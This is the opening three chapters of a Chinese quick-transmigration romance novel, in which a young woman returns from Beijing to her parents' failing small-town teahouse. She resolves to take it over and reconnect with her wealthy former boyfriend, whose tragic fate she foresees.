《美强惨男配的白月光[快穿]》 1. 县城首富恋爱脑学长的白月光(1) 下午两点。 烈日当空,滚烫的白光仿佛从天上浇下来般,让人燥热不已。 沥青路都被烤得泛起一层油汪汪的光,汽车和摩托车来回穿梭着,偶尔还有一两辆行驶缓慢的四轮“老头乐”,林清坐的出租车就跟在一辆红色“老头乐”后面。 “有点堵。”司机往前瞅了眼,对林清笑道,“前面好像就是个茶馆,你定位的就是这了吧?” “对。” “我先开到对面,然后再往前开点,方便停车。”司机打下转向灯。 “好的。”林清将车窗下降,望着对面的茶馆。 “林记茶馆”坐落在路边,牌匾老旧,看起来有些年头了。一楼上百平的店铺,三面的卷拉门被打开,左边和右边还有店门前都支起了遮阳棚,棚内的风扇正呼啦啦吹着,两边还种了一棵棵印度紫檀,茂盛的枝叶遮挡在遮阳棚上方,隔住了大半炙热。 微风一吹,树叶摇曳,阳光从细缝里倾洒下来,像是碎了满地钻。 树荫下,摆放着一张张折叠的原木桌和塑料椅,三三两两坐着喝茶聊天的人,你一言我一语,此起彼伏的人声不断涌过来,热闹嘈杂。 “县一中今年高考考砸,没几个高分,鞭炮都不放了。” “平定县的县长落马了,昨天上新闻,好家伙,不知道又贪了多少。” “别说那个,你儿子找到女朋友没?老大不小了。” “还没,愁得睡不着,你有没有介绍的小姑娘?” …….. 林清下车的时候,那辆红色的“老头乐”也慢吞吞在茶馆旁停下,头发花白的老头搀扶着老太太,挪动脚步往遮阳棚下走。 老头带着老太太选了一张小桌子坐下,姿态悠闲靠着椅背,冲着不远处的服务员喊了一声。 “马上马上。”服务员笑着走过来,“张老师,今天吃点什么?” 老头开口:“两个叉烧包,一杯红茶。” “稍等,马上给您拿。”服务员笑着要往茶馆里走,一抬头,视线落在看到不远处的那个女子身上,她戴着墨镜和遮阳帽,身穿V领蓝色衬衫裙,裙摆下是一双笔直白皙的腿。 他们平阳县就是一个南方的十八线小县城,他们茶馆就是街边的苍蝇小茶馆,主打便宜实惠,平时就是一些老头老太太喝茶聊天,一个年轻人都见不到,就连服务员招的都是五六十岁的阿姨。 突然出现一个打扮时尚的女人,推着行李箱,身材苗条纤细,白皙纤细的手腕上戴着玫瑰金的手镯,在太阳的照射下让人晃眼,一看就不便宜,与他们这里格格不入。 不光是服务员,靠外的几桌客人也在好奇观望,交头接耳着。 “李阿姨。”林清摘掉墨镜,露出那张精致小巧的脸,她红唇上翘,眼底带着笑意,亲昵唤了声。 李桂兰看着妆容精致的林清,怔了下才反应过来,声线一下拔高惊喜道,“小清?小清回来了啊?”她说着要往林清那边走,想到顾客还点了东西,“你等等啊,我先给张老师拿糕点。” 话音未落,她连忙跑回去,手脚麻利拿过一旁叠放着的铁盘子,推开老式玻璃柜,糕点的甜香扑面而来,她微微弯下身子,用夹子在第二层快速夹了两个表面金黄的叉烧包,又从一旁的筐里拿起一个玻璃杯,撕开一片茶叶丢进去,放了两勺白糖,加入开水。 她一手拿着铁盘,另一只手端着一杯红茶,走到老头桌前,将两个叉烧包分别放在两人面前,将装有红茶的玻璃杯下叠放的玻璃空杯取下,放在一边,又从身上的围裙口袋里掏出塑料夹板,用笔在白纸上写了6+2。 一个叉烧包3块,一杯红茶2块。 县城最便宜的价格了。 老一辈很会精打细算,一盅红茶需要8块,一杯红茶只需要2块,桌上的保温瓶里有热水。 老头把玻璃杯里的茶叶用勺子搅动几下,又把茶叶放在玻璃空杯里,拿起桌上保温瓶里的热水倒进去,新的一杯红茶就又有了。 一人一杯,配上一个叉烧包,一共才花8块钱,他们可以坐在茶馆里一下午。 李桂兰将写着价格的夹板放在桌面上,急切地往林清那边走,上下打量着她,笑着道,“真是越来越漂亮了,什么时候回来的?” 她在林家茶馆干活快二十年了,林清是她看着长大的,小丫头去了大城市就是不一样。 “刚下飞机就打车回来了。”林清说。 李桂兰走过去帮她推行李箱,“你爸妈没说你今天回来啊?” “还没告诉他们呢。” 闻言,李桂兰停住动作,她看了看茶馆内,笑得更开了,“你爸妈要是知道你回来了,可不得高兴死。今天周末,比较热闹,你爸在做包子呢,你妈出去买肉了。” “您先忙吧,我自己去找他。”林清接过李桂兰身旁的行李箱,推着往茶馆里走。 李桂兰怕她拎不动,走过来替她拎上台阶。 茶馆里有不少熟客,面对他们打量的目光,李桂兰笑着解释道:“林老板的女儿,上学工作都在首都,刚坐飞机回来。” 林清把行李放在楼梯口时,都能听到李桂兰语气带着自豪吹嘘道:“小清之前可是我们县一中火箭班的学霸,读书非常厉害,初高中都是保送,读重点大学,毕业就在首都的大公司上班,年薪几十万呢!” 众人闻言,纷纷惊叹羡慕。 在人均收入两三千的小县城,这家茶馆的服务员只有两千三的工资,洗碗阿姨不过一千八的工资,几十万对他们来说,天文数字。 学霸,考上好大学,有一份高薪工作,就是很多人对自己孩子的期许。 林清先走到厨房,里面掌厨的师傅正在听网剧。早上的时候,客人比较多,掌厨师傅负责炒面炒粉或者炒米线,下午就很少有客人吃这一类的主食,会清闲一些。 她往后面的糕点房走去。 十几平米的糕点房内,有一张用水泥砌的揉面台,林父穿着白色的厨师服,正在大力揉面,面台上洒着干面粉,一把老式的擀面杖就放在一旁。 角落里的土灶台下柴火烧得正旺,上面叠放着了三层竹蒸笼,墙角被烟熏得黑了一大块。他们家的手工包,都是用柴火蒸煮出来的,林父说这样才正宗。 立在一旁的老式烤箱也正在工作,透过玻璃能里面烤着一排排蛋糕,糕点香甜的味道已经弥漫出来了。 一台立式大风扇正对着林父呼呼吹,却带不走一点热气。 林清站在门口,感觉就像身处一个巨大的蒸笼,林父的后背也被汗水浸湿了一大半。 “要说张旭是何许人,这就不得不提他的祖父,他的祖父历史上乃大名鼎鼎的——”林父放在一旁的手机,正在播放着历史,他竖着耳朵听,不紧不慢揉着面。 林清:“爸?” 林父听得入迷,压根没听到。 林清提高了点声调:“爸!” “诶——”林父下意识回应,以为是林母在催,回头见是林清,他手上的动作都慢了下来,回神后,脸上顿时露出一个个大大的笑容,“你这孩子,一声不响就回来了,都不跟爸说一声,爸去接你啊!” “下飞机打个车就回来了,您那么忙,不用跑来跑去。”林清看着林父的脸庞,笑意不减,心里却布满了酸涩,眼眶甚至泛起一层薄薄的雾气。 她从小就是一个特别有主意的人,想要去看更大的世界,拼命读书,报考首都大学,为了简历好看,整个大学期间,她都在学习和见习实习的路上,比起这对一辈子蜗居在小县城的老实夫妻,她全然相反的性格,让她活成另一个样子。 林清原本是打算出国留学,后来即便没出国,她也拿到了应届生中非常高的年薪,入职互联网大厂。 从上大学后,她回来的时间就很少了。 “你妈不在外面啊?”林父喜不胜收问。 林母要是在,早就进来和他说女儿回来了。 林清:“李阿姨说她出去买东西了。” 林父掏出手机就给林母打电话,林母应该是在菜市场,声音嘈杂,林父一脸兴奋说:“女儿回来了,刚回来,突然出现吓了我一跳,还以为看错了,你快回来吧。” 林清看着老两口子激动的模样,内心泛起一股暖流,她走到一边,看着一旁的竹蒸笼,问林父:“爸,蒸大肉包呢?” “你这鼻子,还是那么灵,”林父说着笑呵呵走过去,“快好了。” 林清深深嗅了一口,嘴角上翘,“就是这个味道,好久没吃了。” 她加班忙,已经连续半年没在晚上十一点前下班,今年过年都没回家。 林父掀开竹篾编的笼盖,隔着白汽,林清看到竹蒸笼里是一个个蒸得表面光滑,面皮鼓鼓胀着的大肉包,林父给林清夹出两个,这才端着竹编笼走出去:“肉包好了!刚出锅!” 大肉包是林父的拿手招牌,一出锅,就被顾客抢着要。 “来一个肉包子。” “我也要两个。” “帮我打包一个。” …… 林清看着铁盘里的两个巴掌大的肉包,她用手托起一个,撕开那层包底纸,馅料里的油脂渗过面皮的孔隙溢出来,金黄黄的,带着肉馅的鲜香。 她一口咬下去,外皮绵软蓬松,中间是新鲜的黑猪后腿肉切成片腌制的馅,咸香微甜,嚼劲紧实的瘦肉裹着酱香在她舌尖蔓延开来,是熟悉又好吃的味道,让人不禁眉间舒展。 林父一出去,熟人就问起林清。 说起女儿,他笑得合不拢嘴,难得和人攀谈几句,回来时,他手上端来一杯牛奶,放在林清面前:“喝点牛奶,不然多干巴。” 林清看着面前的杯子,一眼就认出了她的杯子。 上面印着朱迪兔。 这杯子是她大学的时候买的,一个朱迪兔,一个尼克狐,她把另一个杯子送给了沈明舟,当时他们是男女朋友,正是热恋的时候,恩爱非常。 杯子在林清大学毕业时,随着行李,被她寄回家,父母把她的东西洗干净收拾好,每次她一回来,这个杯子就会干干净净出现在她面前。 林清 喝着牛奶,杯中的牛奶是加热的纯牛奶。店里的牛奶都是甜得发腻的炼乳,老年人好这口,她则不喜欢,这杯牛奶是林父特意去超市买回来加热的。 林母并没有急急忙忙赶回来,等她回来时,太阳西落,店里逐渐没了客人。 “怎么都瘦了?是不是又忙着加班没好好吃饭?”林母拎着好几个袋子回来,看到林清的第一句话,眼底是止不住的心疼,“身体最重要啊。” “公司刚安排的体检,健康着呢。”林清走上去,环着林母的手臂,依偎在她身边,看着她手上的袋子,“妈,您打算给我做什么好吃的啊?海鲜啊?” 若不是她回来,一向节俭的林母可不会买这么多食材。 “对啊,你最喜欢吃海鲜了,好不容易回来一趟,不得让你尝个够,”林母笑得眼角起了细纹,摸着她的头,“一会让你爸再去买两斤烧鹅,北边市场那家老字号烧鹅也是你最喜欢的。” 傍晚七点。 天色逐渐有些昏暗,茶馆外棚子里的桌椅,被李桂兰几人往茶馆里搬,店铺三面的卷拉门被关上,茶馆二楼灯光明亮。 林清看着桌上丰盛的饭菜。 白灼的野生斑节虾、清蒸海钓石斑鱼、一整只大膏蟹、盐焗花螺、冬瓜海白汤,林母最后又炒两盘青菜。 林父拎着买回来的烧鹅回来时,林母赶紧给林清盛饭:“饿坏了吧?烧鹅要趁热吃,刚烤出来最香了。” 林清端着饭,看着满脸笑意慈爱的父母,心里五味杂陈。他们已经不再年轻,茶馆的日夜操劳让他们比同龄人更加苍老,白发不知道何时爬上了他们的鬓角。 她扬起一抹幸福的微笑,重重地点头,“好!”她说完笑着掏出手机,先拍了个照。 这顿饭吃了足足有两个小时,一家三口在聊天,多数时候是林清说,两老口认真听着,顺着她附和。 林清一脸满足,她不断和老两口埋怨道:“还是家里的海鲜好吃,在外面,我从不吃海鲜,养殖的还好,除了不够Q弹筋道,勉强能吃,点外卖都是冰冻货,肉质松散得无法下口。” 这里有码头,林清打小在海边长大,林父林母对自己节省,往她身上花钱从不含糊。 小时候家里穷,林母连喂她的奶水都没有,饿得只能吃米汤,后来家庭条件好了,听人说常吃鱼的孩子聪明,林母就每天买最新鲜的海鱼,餐桌上每天都必有一道鱼。 海钓的最好,上岸还活着。 价格从几十块到好几十上百不等,林母从不心疼,老两口舍不得吃,都留给女儿。 林清那张嘴就养刁了,养殖的海鲜和冰冻的海鲜,她尝一口就知道了,去了大城市,从不吃海鲜,感觉和家里的差得不是一星半点。 “那怎么能比?我们家买回来的鱼,好多都是刚钓上来的,还活蹦乱跳呢,实打实的好货。”林父还在强调,“要不然怎么把你养得这么聪明?” 林父坚信,小孩子吃鱼就会变聪明,他的女儿就是最好的例子。 “回家就多吃点,想吃什么跟妈说,妈去买。” 两人说着,就已经商量着要给出海的渔船打电话,看看明天有没有什么好货。 林父三点就要起来做包子,林清没再拖着他聊天,催促他赶紧洗澡睡觉,她也回了房。 二楼是三室一厅,每间房子都带着卫生间,林清住在最后面的一间卧室,离路边最远,夜里没那么吵。 她大半年没回来了,房间里依旧被收拾得干净,床上已经被换好了新被单,就连她高中时买的那个可爱仓鼠布偶也被拿出来,靠在床上。 林母说前几天她才把里面的填充物拿出来了,洗干净后又把填充物放进去缝好。 林清洗了澡,上床将白白胖胖的玩偶抱住,把头埋在大仓鼠怀里,还能闻到清新的肥皂香。 她躺下来,身后拿过床头的手机。 朋友圈已经有多条消息提示。 林清用刚刚的照片发了朋友圈,不少同学朋友纷纷点赞评论,问她是不是回来了。 在众多的点赞中,她一眼就看出了那个熟悉的头像。 林清点开头像。 备注:沈明舟 他们最后的聊天,已经是一年半以前,她去年回来,他想约她吃个饭。 林清回:【我们之间,见太多面对彼此都不好,我也会舍不得。】 沈明舟很久才回她:【嗯,好。好好照顾自己,早点休息。】 他后来就真的没找过她,只是每一条朋友圈都会点赞。 想起两人,林清叹了口气,起身开门想去客厅倒水喝。 林清路过主卧,听到里面传来林母愤愤不平的声音:“他儿子要结婚又不是我儿子结婚,要盖房子娶媳妇儿,他们就自己盖啊,盯着我们手里那点钱做什么?!” “我们的钱,是要留给小清在首都买房子的!首都的房子那么贵,就算掏光我们手里的钱都不够,正好把那块地卖了,省得他们惦记。趁女儿这一次回来,你正好抓紧跟她商量看房买房的事,她也好在首都立下脚跟。” 2. 县城首富恋爱脑学长的白月光(2) 林清在现实世界中,是个患有重病的人,从出生开始,她的大部分时间都在医院度过。 父母嫌她是累赘,两人吵闹离婚又将她舍弃。 又一次抢救中,她陷入昏迷,以为终于可以解脱了。 醒来,就出现在这里。 系统告诉林清,先前她就是小世界的任务者,负责充当男配白月光,完成任务后抽身离去,使一个个小世界能够顺利运行,男女主完成主线任务。但不知道为什么男配怨气过大,世界运行遭到反噬,即将面临崩溃,她收集到的投胎能量正在锐减,所以她的身体才一直不好。 她如果想要好好活着,就要再一次去维护小世界平衡,拯救那些男配。 于林清而言,她居然觉得这算一件好事,她能从一个只躺在病床上的药罐子,变成了一个健健康康的人。 这个世界是县城贵妇甜宠文,林清怀疑还是男频文。 男主是沈家商场的一个小小售货员,女主则是ktv服务员,一个精神小伙和一个精神小妹的相爱相杀,虐来虐去。 而男主是个有胆识的混混,阿谀奉承鬼点子多,慢慢当了管理层。他胆大阴了沈家一手,坑了一笔钱,随后私底下吃回扣,快速积累原始资金,在沈家遭受资金链断裂后,男主又快速散播消息,落井下石,暗中拿下沈家一些优质资产。 底层人的崛起,第一笔钱多半是带血的,文中用腻歪的感情拉扯和男主在多个女人之间纠缠,弱化了他在商场上的阴狠狡诈,掩饰各种触碰法律底线的操作,成功打脸了沈家独子沈明舟,走上人生巅峰。原本欣赏沈明舟的各种县城大佬最后也对男主十分佩服。 沈明舟就是本文男配,县城首富沈家独子,家世优厚,爷爷是正处级退休干部,奶奶是中医院院长,父亲拒绝从政,早些年在大城市创业,娶了家族颇有资产的妻子,创业成功后回来后大力建设家乡,又赶上一波发展红利,成为当地首富。 沈明舟本人生得模样俊俏,毕业于重本,性子沉稳谦和,从小备受宠爱,身上却没有一点县城那些富二代的恶习。 林清是毕业后,才知道沈明舟的家底,这也成为两人分开的理由。 初遇时,沈明舟是大学老乡会副会长,他为人慷慨热心,年年都去机场接新生,出资举办聚会。 林清第一次来大城市,水土不服引发肠胃炎,多少有些迷茫惶恐,沈明舟送她去医院,全程关照,耐心安抚她。 相处中,彼此心生好感,很快就在一起。 那一年,沈明舟已经大四,林清刚刚大一,她对大城市向往好奇,内心充满野心,期待看世界。 沈明舟比她先了解了几年,踩过坑,也总结了经验。 他给她规划学业,陪她去考试,带她去旅游。 两人恩爱非常,无数次憧憬未来。 俊男靓女,同校又同乡,感情笃定,就连旁人都觉得他们是天造地设的一对。 毕业的第一年,沈明舟并没有回去,他留在首都创业,甚至还想考研陪林清继续读书。 沈老爷子病危后,沈明舟匆匆赶回去,之后就留在了家乡。 之后的两年,沈明舟每个月飞一趟首都,两人开启异地恋,直到林清毕业。 她没有选择回去,并且已经拿到了互联网大厂的入职邀请。 沈明舟小学的时候是在一线城市读书,后跟随父母回去,高中在省城,不像林清一直在县城,她对大城市有莫名的渴望,她想要爬得更高,希望在更大的舞台展现自己,她不想为了爱情,又回到那个一直想要爬出来的小地方。 而沈明舟身上有自己的使命,他是沈家独子,沈老爷子身体越来越不好,沈父已经开始让他接管家族生意,他有不得不回去的理由。 两人都含着不舍,断断续续拉扯了近两年,才彻底分开。 他们两个人事业都发展得不错,沈明舟慢慢学着接管家族企业,林清在公司更为卖命,堪称“拼命三娘”,事业也的确步步高升,年薪一涨再涨,手握不少期权,只等公司上市,运气好的话,她能实现一定的财富自由。 后来,她突然听说沈家出了大事,沈父突发心梗离世,沈老爷子遭受不了打击也跟着去了,沈老太太重病,生死未卜。 她知道消息的第一时间就联系了沈明舟,他在外人面前所有的强撑在她面前悉数卸下,语气颤抖哽咽。 林清请了假,定了最快的一班飞机回去陪他。 之后半年,她每周往返两地。 或许是对沈明舟的心疼,又或许是看到父母逐渐升起的白发,日益衰老的身体,林清也怕遗憾,她最终决定辞职回去,陪在他和父母身边。 除了在和沈明舟分手这件事上,林清会犹豫拖拉,其他事情她都很有主意。 她毅然决然辞了职,放弃在首都打拼的一切,打包行李,买了机票,前往机场的路上,她才告诉沈明舟。 他震惊又感动,久久没说话,还让她要好好想想,不要让自己后悔,他甚至承诺会帮她照顾父母。 林清决定的事情,从来不会后悔,她还半开玩笑说:“等我回来,我们就去结婚,看谁还敢笑你年纪这么大还没娶老婆,居然还笑你是大龄剩男,太过分啦。” 他说小地方就是这样。 她说那他们就当人生赢家好了,羡慕死他们。 沈明舟等不了一点,提前开车去省城机场接她。 他一路上都在憧憬未来,他的爱人,要回到他身边了。 可惜,沈明舟没等到林清,而是等来了她意外车祸去世的消息。 司机疲劳驾驶,林清当场死亡,医院通知家属前去认遗体。 车祸地点离机场不到一公里。 她差点就能登上飞机,成为他的新娘。 林清抱着大仓鼠玩偶在床上翻了个身,眼眶微微胀热。 回顾着剧情,她的心口堵得闷疼。 沈明舟并没有按照既定的剧情,在商场上和男主较量,不断让男主打脸,他直接佛系摆烂,不争不抢不婚,低调到查无此人,匿名捐赠公益事业。 她是他唯一的白月光。 林清深吸了一口气,把头埋在仓鼠怀里,失眠到大半夜才睡,眼角还含着一点泪珠。 翌日。 还未天亮,楼下就传来吵闹声。 林清把头埋在被子里,继续睡。 从小就在这里长大,她早就练就了在各种吵闹声中依旧能熟睡。 可她忘记了自己上班这几年养成的生理钟。 最多九点,她自动睁眼,再无一点睡意。 林清起床洗漱,换了一套休闲装,将头发挽起来,清爽活泼。 她往楼下走时,李桂兰端着刚出炉的肉松蛋糕往外走,甜香弥漫,她抬头看到林清,夸赞道:“哎哟,小清,你都快白成一道光了,好像比上一次回来的时候更白更好看了。” “说明上班更辛苦了,都见不到太阳。”林清笑着自嘲。 “还是要多晒太阳,身体重要啊,”林母匆匆走过来,从底下的柜子里拿了几瓶炼乳,又问林清,“有没有想吃的早餐?店里没有的妈出去买。” “我想吃肉末米线,让王婶给我煮一份吧。”林清说。 王婶是在后厨负责煮粉面的阿姨。 “行,”林母冲着后厨喊道,“王婶,给小清煮一碗肉末米线,记得放两个鸡蛋。” 王婶探出头,笑眯眼:“我知道,还要多加青菜!” 林清选了遮阳棚最里面的一张小桌子坐下。 此时太阳还算炙热,微风轻拂,空气新鲜得很。 深深嗅上一口,整个人都清爽舒坦了。 林母把热好的牛奶端过来,放在林清面前:“先喝杯牛奶垫垫肚子,马上就好了。” 她话音未落,就有几个老年人坐下来,开口道:“老板娘,来两个大肉包,一个叉烧包。” “喝点什么茶?”林母快步走过去招呼。 林清双手捧起杯子,依旧是那个朱迪兔杯,她低头小口喝着,温热的牛奶顺着喉咙暖到胃里。 在她视线里,林母已经折回茶水操作台,里头的煤气灶开着小火,放在一个铝制的老式烧水壶,最上面的盖子被掀开,刚好能放进去一个茶漏。 林母将茶漏微微提起,红褐色的茶水从细密的网状茶漏里溢出来。 茶漏里装的是红茶碎末,在滚烫的开水里,带着一股浓郁的香气。 林母熟练将新的一瓶炼奶打开,往三个瓷杯里各放一大勺,用手腕将茶漏一抬一落,细碎的茶末被隔绝,滚烫清亮的红茶滤进杯中。 这是当地的特色奶茶。 上层是红茶,下层是炼乳,深受中老年人喜爱。 李桂兰把肉末米线端上来,宽口深碗,汤汁乳白,她问林清道:“肉松蛋糕刚出炉,要不要吃一个?” “吃不下啦。”林清拒绝,拿着筷子搅开上面那一层蒜香油,喝了一口汤。 咸香浓厚,入口甘甜。 这是林父天都没亮就去菜市场买猪骨回来熬制的,和如今遍地都是科技和预制汤有着明显不同。 此时是上午九点,林清一边吃着米线,一边观察店里的人,零零散散坐了不到十桌,也就不到二十人。 这个时间点,不应该只有这些客人。 他们家的茶馆,属于全县城最便宜的那一档,又远离县城中心,处于县城边缘,附近还有几个村庄。 顾客都是一些退休人员,或者是附近的村民,都不是上班族。 往常这个时候,店内和棚外都坐满了赶集的老人,而不是像现在这样空荡荡。 没了客人,李桂兰也在林清旁边坐下来休息。 “李阿姨,店里生意最近不太好吗?”林清吃着米线,随口一问。 “除了周末热闹一点,其他时间都不怎么好,”李桂兰拿着一把扇子正在扇着,上面印着各种男科广告,她说道,“以前包子和糕点都不愁卖,上午就卖完了,下午还得做,现在卖到下午六点,还剩好多。” 她看了看林清吃的米线:“米线和炒粉这一类,备货都比之前少了一倍不止,还是卖不完,只能拿去喂鸡。” 烫好的粉面和米线,当天不煮就变酸了。 林清听完,默默又抬头扫了一眼零零散散的客人。 本来就是小本生意,一杯奶茶才3块钱,一杯清茶2块钱,最贵的大肉包才4块。 要是炒粉炒面之类就8块,还会加蛋加肉,粉面则7块,人均收入不超过十块,利润更不算高。 而一个茶馆 的开支不小,需要有负责掌厨的师傅,一个月工资3800,煮各种汤粉的王婶工资2500,还有两个阿姨各2300。 他们家的这栋楼还是租的,虽说远离市区,租金不算贵,但也得三千一个月,加上水电煤气,真就赚不到钱了。 以前他们家热闹的时候,光服务员就请了六个,林清放学就回来帮忙。 林清又喝了口汤:“可能是经济不好了吧,到处都有倒闭的店面。” “我觉得不是,”李桂兰眼睛往四处瞥了两眼,身子往前一凑,“小清啊,这话我也就跟你说。你那个奶奶蔫坏,隔三岔五就来店里捣乱,客人烦了,才不想来!” 林清拧眉。 “客人还没吃完,她就拿着收款码让人结账,问了一次,人家说一会结,还要问第二次,”李桂兰一脸无语,“关键是人家结了,她脑子不好,又去问,把人都惹怒了。” “遇到收现金的,就往自己兜里藏,你爸妈也懒得计较,又拉不下脸皮把她赶走,再这么闹下去,客人都要跑完了。” “还有这事?”林清一脸诧异。 李桂兰咬牙切齿:“那可不!还不是为你那个堂哥,我看啊,他们就不安好心!” 吃绝户这个词,李桂兰说不出口。 谁都知道林清在首都读书,又在首都工作,多半是不回来了,林父林母就只有一个女儿,不少人背地里都说,他们养这个女儿,多半是“没用”了。 李桂兰没出口的话,林清却很清楚。 林大伯一家都是没正经工作,可不得盯着她爸妈,老早就想好怎么继承她爸妈的遗产。 上一世,林清想要把父母接过来身边,他们却不适应,执意要留在家乡。 期间林父意外摔断腿住了院,林母做了个小手术,林清都没有办法第一时间赶回来陪在身边,加上林老太太的念叨,周围人的指指点点,林父和林清商量,他们同意出钱在老家盖房子,茶馆关门后就和侄子林强一起住,由他照顾他们晚年生活,百年后,这栋楼归他。 他们也会在林强结婚生子的时候出点钱和力。 林强眼见卖地的钱和两口子的积蓄都给林清了,眼都红了,觉得很亏,不同意这个方案。 林父和林母也没惯着他,他们看得开,觉得无所谓,大不了去养老院。 林清后来才知道,林强还不断拿养老警告威胁。 李桂兰见林清神色深思,不好多说。 正好有客人叫,她起身去忙。 不远处的马路对面。 一辆黑色的宝马七系停在路边,沈明舟的视线落在林清的身上,一秒都舍不得移开。 他嘴边泛起一抹苦笑。 林清每一次回来,沈明舟都没忍住开车绕到这边,她就没一次下楼,都在楼上睡懒觉。 好不容易回来,的确要好好休息。 他没守到人,自然就放弃了,也就不那么想了。 这一次实属无意,他本来是要去办点事,路过时仅仅一眼,就看到了她,惊喜之下直接掉头,偷偷摸摸停在路边,跟偷窥似的。 沈明舟炽热的目光,一直盯着林清手上端着的杯子,一颗心还是会为之悸动。 他比自己想象中,还忘不掉她啊。 当天中午。 林母在饭桌上对林清道:“小清,你这一次回去,就去看房子,早点在首都买个房子,也好有个落脚处。” 林清还没说话,林母继续开口:“我这段时间就让你爸把家里那块地卖了,估计能值个四百多万,加上我们给你的积蓄,好好买个房子。” 他们开了这些年的茶馆,没买房没买车,连茶馆都是租的,老家也没盖房,辛辛苦苦攒的一百多万,全都给林清了。 家里最值钱的一块地,是早些年,林父跟着包工头干活,对方欠了几万块账,在地皮不值钱的时候,给了一块1000平的地抵债。 林父本来想存钱盖楼,开自己家的茶馆,因为林清原本打算要出国,两人就攒着不舍得花,她后来又在首都工作,想着给她买房,就歇了各种念头。 林父接了句话:“听你妈的,尽快把这个事落实下来。” “怎么突然这么着急?”林清佯装不解,追问,“家里出什么事了?” 疫情才刚过去,房价非常不稳定,林清前一世被父母催促,但也没下手买房。 她知道公司迟早要上市,想着之后会有更多选择。 后来她意外离世,林父林母一下没了主心骨,成了手握巨款被人拿捏的孤寡老人,被林强骗了不少钱,还辱骂欺负。 林清的离去,带走了林母大半条命,林强专挑痛处戳,把林母活生生气死了。 一想到这里,林清心里很不是滋味。 家里的很多事情,父母都没有告诉她,现在都要瞒着她。 “哪有什么事,买房是大事,早买早好。”林母依旧是这幅说辞,不愿意增添林清半点心理负担。 林父点头:“你妈说的对,买了房,你好安定下来,我和你妈也安心了。” 他们还能干几年,存笔钱就回村盖房养老,悠闲自在。 林清抿了抿红唇,伸手给林父加了块鱼肉,放在他碗里轻声道:“爸,我不想在首都,我想回来了。” 3. 县城首富恋爱脑学长的白月光(3) 此言一出,餐桌上瞬间寂静。 林父林母吃饭的动作都倏然僵住。 “怎么突然想回来了?是不是遇到什么事了?”林母率先反应过来,语气着急关切。 他们虽想女儿陪在身边,但林清从小就拼命读书,考上名牌大学,又进入大公司工作,有着光明的前景,他们只是小地方见识短浅的父母,纵有万般不舍担忧,却不愿折断女儿的翅膀,只想努力托举她。 林清垂眸,叹气道:“现在公司不断裁员,人心惶惶,工作压力又大,我有点累了,晚上不是很睡得着,回来反而睡眠变好了。” 大公司每年都裁员,来来去去,林清倒有自信自己不会被裁,如果说是为了父母家人回来,她怕他们会觉得愧疚。 林清以为自己很强大独立,实际上,只是父母身体尚且强壮无需挂念,等到父母生病,沈明舟出事,她在首都压根没心思上班,整宿整宿失眠,挂心又担忧。 大城市固然有更大舞台,却没有她爱的人。 林母一听林清睡不着,立马道:“这可是大事,睡不着多伤害身体,什么都不比身体重要。”她一脸心疼,“想回来就回来吧,回来也好,爸妈不求你赚很多钱,健健康康的就行。” 林父看着林清给她夹的鱼肉,拍板道:“那就回家,家里不缺你一双筷子!我们能养你!” 面对父母严肃忧虑的目光,林清直接笑出声:“你们怎么整得好像我被赶回来了?我是主动回来的,还能和公司商量赔偿方案,他们得赔我几十万呢,”她说完又道,“我只是换个地方发展,又不是废了要你们养。” “就是,你爸简直是乱说话!”林母眉目舒展,也跟着笑开,语气笃定,“我们小清从小干什么都行,就算不在首都发展,回来也是最优秀的!” 林父嘴角也扯了扯,甚至都开始规划了:“等你回来,爸妈给你买套房,再给你买辆车,日子也能过得舒舒服服的,还没有压力。” “对!我们家还没买房,正好能买在小清名下。”林母说着看向林清,“到时候,你想做什么,爸妈就给你投资。” 他们做的一切,不都是为了女儿吗? “现在经济不好,生意不好做,我看啊,要不考公或者考个老师?”这是林父能想到的最稳妥也最体面的生活,在小县城,不说是人上人,好歹也是中上层。 林母看向林清,眼底也有这种想法。 她女儿那么优秀,一考肯定能上啊,他们不求林清大富大贵,就这么待在他们身边,已经很幸福知足了。 “不想。”林清一口回绝。 林父眼底有些可惜。 “不是谁都想做这种工作,你想做什么就做什么。”林母给林清夹了块鸡翅,温声道,“你辛苦工作这么久,可以好好休息一段时间。” “爸,妈,我随了你们两个人的性子,怎么可能闲得住呢?”林清啃着鸡翅,看向两人,嘴角含笑出言道,“我想回来接管家里的茶馆。” 林父和林母瞪大眼:“?!” 家里的茶馆半死不活,他们每天拼死拼活干,最近几个月都亏损了。 再说了,茶馆现在每天都是中老年人点着两三块钱的一杯茶,然后坐着聊天吹牛半天,他们老两口就管得过来,不需要林清在馆里浪费时间。 林父摇头:“不行,年轻人就做年轻人的事情。” 林清抬眸看向他:“爸,你有没有想过,就是因为茶馆不是年轻人管理,所以才不吸引年轻人?” 林父怔愣了下。 “再这样下去,我估计啊,茶馆离倒闭不远了,就那点老年人,能赚几个钱?”林清小口吃着饭,慢悠悠又道,“现在开的茶馆越来越多,大家卖的东西越来越新颖,有些茶馆都恨不得24小时营业,还做线上外卖。您这样,很快就会被淘汰。” 他们家的茶馆,早上卖早餐,下午卖下午茶,傍晚六点半就收摊。 店里无非就是卖各种茶还有手工包和老式传统糕点。 反观其他茶馆,早上不仅卖炒粉炒面和各种汤面,还卖各种腌粉腌面,下午人家除了卖林家有的那些,还卖小吃卖糖水和各种新颖糕点。 “我和你妈哪干得动啊?”林父不是不知道,他也没想到时代发展这么快。 以前的小店,只卖早餐,哪怕就卖米线都能坐满人,现在的店越开越多,人们的选择越来越多,他意识到自己正在被淘汰,却不知道如何改变。 林清:“干不动,就让别人干。” “那会亏本,不行——” 林父还没说完,林母就打断,“你让女儿说完!你还能比女儿见多识广了!” 闻言,林父立刻闭嘴了,认真听林清说。 在他们心里,林清自然是这个家最厉害的人,她从小听话懂事,学习努力又聪明,是个报恩的神仙孩子,考上名牌大学后又在大厂工作,收入比他们都高。 林清心里自然有自己的计划:“我们家的品种太单一,现在天气正炎热,连消暑的小吃和糖水都没有,自然不吸引人,要想有顾客,最起码得有多种选择吧?”她说完又直接看向林母问,“我记得大姨在摆摊卖糖水,她生意怎么样?” 林家这边的亲戚各怀鬼胎,但林母这边的亲戚对林清很好,尤其是大姨章凤,小时候还照顾她一段时间,会给她带好吃的,是个勤快又善良的人,重点是,她大姨这人知足没野心,性子敞亮没那么多弯弯绕绕。 不过,章凤嫁得贫苦,老公早逝,以前就在村里种田种地,偶尔去工地打零工,后来年纪大了工地不要,就去镇上的小学摆摊卖糖水和豆浆。 “好的时候一天赚一百来块,周末和学生放假就一分钱没有,在家种地。”林母语气低落,“你大姨是个命苦的,苦了一辈子。” 